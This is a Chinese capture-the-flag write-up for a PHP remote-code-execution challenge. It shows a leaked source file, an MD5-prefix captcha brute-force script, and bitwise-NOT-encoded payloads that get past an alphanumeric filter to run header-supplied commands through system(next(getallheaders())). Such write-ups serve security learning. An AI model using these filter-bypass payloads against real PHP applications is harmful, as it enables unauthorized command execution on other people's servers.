赞
踩
rce,rce,rce!!!
右键源代码里给了提示,有备份文件index.php.swp,大伙都做到这来了,应该不用写了吧。看源码
- <?php
- error_reporting(0);
- session_start();
- if(!isset($_SESSION['code'])){
- $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
- //获得验证数字
- }
-
- if(isset($_POST['cmd']) and isset($_POST['code'])){
-
- if(substr(md5($_POST['code']),0,5) !== $_SESSION['code']){
- //post传的code经过md5加密前五个字符,要等于session的code
- die('<script>alert(\'Captcha error~\');history.back()</script>');
- }
- $_SESSION['code'] = substr(md5(mt_rand().sha1(mt_rand)),0,5);
- $code = $_POST['cmd'];
- if(strlen($code) > 70 or preg_match('/[A-Za-z0-9]|\'|"|`|\ |,|\.|-|\+|=|\/|\\|<|>|\$|\?|\^|&|\|/ixm',$code)){
- //修正符:x 将模式中的空白忽略;
- die('<script>alert(\'Longlone not like you~\');history.back()</script>');
- }else if(';' === preg_replace('/[^\s\(\)]+?\((?R)?\)/', '', $code)){
- @eval($code);
- die();
- }
-
在rce前,他有个验证。md5前五位要等于给定的五位。我直接贴py脚本
- import hashlib
- for i in range(1,10000000000000):
- m=hashlib.md5(str(i).encode()).hexdigest()
- if m[0:5]=='71304':
- print(i)
- break
然后,需要要绕过两层,多年rce经验,相信你一眼能看出。
第一层 无字母数字绕过,这里能用取反绕过,并限制长度小于70
第二层 正则匹配很明显要求无参数执行
我们由内往外构造,这里需要前置知识(贴其他大佬的吧)
前置知识:
('phpinfo')()
['phpinfo'][0]()
['phpinfo']{0}()
效果作用是一样的。
phpinfo(): [~%8F%97%8F%96%91%99%90][~%CF]();
加这个[~%FF]只是因为php7的解析方式,当然换成其他的也可以例如[~%EF] [~%CF]
- system(next(getallheaders())); //getallheaders()简单讲可以获取数包据头
-
- 我选择ua那注入
-
- 然后修改成:User-Agent: ls
-
- 代码执行后,会获取第二个字段的值,我是把us的位置手动调成第二个字段,然后执行命令
-
然后将恶意语句取反(怎么取反不用写了吧)
- [~%8C%86%8C%8B%9A%92][~%CF]([~%91%9A%87%8B][~%CF]([~%98%9A%8B%9E%93%93%97%9A%9E%9B%9A%8D%8C][~%CF]()));
-
- //system(next(getallheaders()));
最后数据包长这样
我最后多尝试了几种方法
eval(next(getallheaders())); 不彳亍
assert(next(getallheaders())); 不彳亍
passthru(next(getallheaders())); 可以
知道原因可以在评论区踢我一脚
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。